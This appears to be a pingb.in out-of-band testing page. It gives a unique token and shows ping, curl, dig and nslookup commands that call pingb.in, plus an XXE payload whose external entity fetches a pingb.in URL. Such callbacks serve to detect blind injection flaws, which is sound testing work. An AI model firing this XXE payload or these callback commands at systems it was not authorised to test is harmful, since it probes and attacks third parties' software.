$ ping -c1 -p 00100f12342e64207ea2d8696b326500 pingb.in
 
$ curl pingb.in/p/100f12342e64207ea2d8696b3265
 
$ dig 100f12342e64207ea2d8696b3265 @pingb.in
 
$ dig 100f12342e64207ea2d8696b3265.ns.pingb.in
 
C:\> nslookup 100f12342e64207ea2d8696b3265 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/100f12342e64207ea2d8696b3265">]>
    <foo>&xxe;</foo>
 
Waiting for ping...